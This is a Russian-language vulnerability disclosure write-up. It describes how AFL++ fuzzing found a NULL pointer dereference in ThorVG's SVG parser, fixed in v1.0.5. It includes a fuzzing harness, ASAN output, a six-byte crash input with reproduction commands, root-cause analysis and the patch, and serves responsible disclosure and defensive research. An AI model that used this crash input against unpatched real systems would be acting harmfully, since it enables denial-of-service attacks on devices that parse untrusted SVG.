
Разыменование нулевого указателя в ThorVG через поврежденный SVG — описание фаззинга с AFL++
Серьёзность: CVSS 4.3 (Средний) — CWE-476
Уведомление: GHSA-f863-8ghq-7h64
Исправлено: ThorVG v1.0.5
Статус: Исправлено / Раскрыто
Парсер SVG в ThorVG разыменовывает указатель, который никогда не инициализируется, когда встречает
сокращённый тег дочернего элемента внутри корневого узла <svg>. Ошибка достижима через
обычный путь рендеринга (tvg::Picture::load → parse → render) и может быть вызвана
6-байтовым входным файлом.
На стандартном Linux наихудший сценарий — аварийное завершение процесса (DoS): mmap_min_addr предотвращает
отображение нулевой страницы, поэтому сбой напрямую не эксплуатируется для выполнения кода в этой среде.
На системах без MMU, где также используется ThorVG (Tizen, прошивки на базе LVGL), картина эксплуатации иная
и требует более пристального внимания.
ThorVG — это кроссплатформенный движок векторной графики, написанный на C++17. Он используется как стандартный рендерер SVG/Lottie в Samsung Tizen OS, входит в состав LVGL (широко применяется в UI для встраиваемых систем/IoT) и распространяется как отдельная библиотека на нескольких платформах.
Библиотека обрабатывает недоверенный SVG/JSON-ввод и часто используется в контексте без разделения привилегий. Код парсера в библиотеках графики исторически был надёжным источником ошибок безопасности памяти — ThorVG активно разрабатывается, и на момент исследования в публичных трекерах ошибок не было зарегистрировано покрытия фаззингом.
Харнесс оборачивает in-memory API загрузки ThorVG, чтобы AFL++ мог напрямую управлять парсером без дискового ввода-вывода.
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
Сборка с ASAN + инструментарием покрытия:
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
Начинать с нуля со случайными байтами неэффективно для парсеров, чувствительных к формату. Я наполнил корпус набором структурно валидных минимальных SVG-файлов, охватывающих:
<svg xmlns="..."/>)<rect>, <circle>, <path>)<g><use>Структурно осмысленные начальные файлы сократили время до первых интересных путей с нескольких часов до менее чем 20 минут в моей среде.
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
-x svg.dict — словарь токенов AFL++ с ключевыми словами SVG для помощи мутации в сторону валидных имён тегов.
-m none — память для теней ASAN требует отключения ограничения памяти AFL++.
AFL++ выдал аварию примерно через 3 часа фаззинга на одном ядре. Первоначальный входной файл, вызвавший аварию, был размером ~180 байт. Вывод ASAN:
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
Ошибка — чтение через неинициализированный (NULL) указатель SvgNode* внутри _parseStyle.
Указатель предполагается установленным функцией _createElement при обработке дочернего элемента,
но сокращённое имя тега приводит к пропуску создания элемента без присвоения указателя,
и _parseStyle всё равно его разыменовывает.
Минимизировано с помощью afl-tmin, затем ручная очистка:
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
После afl-tmin входной файл составил 14 байт. Ручной анализ пути парсинга показал, что до сбоя
используются только первые 6 байт:
<svg><
<svg> открывает корневой узел. < начинает тег дочернего элемента. Парсер читает имя тега,
получает пустую строку (ввод заканчивается сразу после <), пропускает создание элемента и
переходит в _parseStyle с всё ещё NULL-указателем на узел.
Подтверждение воспроизводимости с 6-байтовым триггером:
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# или
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
src/loaders/svg/tvgSvgParser.cpp
Упрощённый псевдокод уязвимого потока:
// _createElement возвращает nullptr, когда имя тега пусто
SvgNode* node = _createElement(tagName); // tagName == "" → возвращает nullptr
// Нет проверки на NULL перед передачей в парсер стилей
_parseStyle(node, attributes); // ← разыменовывает node->style по смещению 0x18
Исправление в v1.0.5 добавляет ранний возврат в цикле диспетчеризации элементов, когда _createElement
возвращает nullptr, до любой обработки атрибутов/стилей.
/proc/sys/vm/mmap_min_addr в современных дистрибутивах обычно установлено в 65536.
Нулевая страница не отображена, поэтому CPU вызывает SIGSEGV, который ядро преобразует
в сигнал процессу — в результате аварийное завершение (DoS). Нет контролируемой записи,
нет управления PC, напрямую не эксплуатируется для выполнения кода.
ThorVC является основным компонентом в Tizen (IoT/носимая ОС Samsung) и встроен в LVGL, работающий на микроконтроллерах и системах без MMU.
На системах без MMU нет защиты памяти, и mmap_min_addr не применяется.
Если нулевая страница отображена (что часто встречается в bare-metal встраиваемых системах),
разыменование нулевого указателя потенциально может указывать на контролируемую злоумышленником память.
Достижимо ли это в реальной атаке, зависит от поверхности атаки — ThorVC на устройстве Tizen
может разбирать SVG из недоверенных сетевых источников или предоставленных пользователем данных.
Именно этот контекст оправдывает ответственную публикацию даже для находки с CVSS "Средний".
Патч добавляет проверку на NULL в цикле диспетчеризации элементов SVG:
// до (уязвимо)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // безусловно
// после (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // пропустить, если элемент не создан
_parseStyle(node, attrs);
Полная разница: Релиз ThorVC v1.0.5
# сборка из исходников с ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# компиляция харнесса с привязкой к собранной библиотеке
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# запуск триггера
printf '<svg><' | ./fuzz_thorvg /dev/stdin
Ожидаемый вывод: отчёт ASAN с SEGV on unknown address 0x000000000000 в
tvg::SvgParser::_parseStyle.
Найдено yeahhbean (이예빈) с помощью покрытийно-ориентированного фаззинга AFL++ и структурированного корпуса SVG.
| Дата | Событие |
|---|
| 2026-xx-xx | Авария обнаружена через AFL++ |
| 2026-xx-xx | Основная причина подтверждена в ASAN; создан 6-байтовый POC |
| 2026-xx-xx | Частный отчёт отправлен мейнтейнеру ThorVG (hermet) через GitHub Security Advisory |
| 2026-xx-xx | Мейнтейнер подтвердил и открыл приватный форк |
| 2026-xx-xx | Патч влит в v1.0.5 |
| 2026-xx-xx | Опубликован GHSA-f863-8ghq-7h64; присвоен CVE-2026-45729 |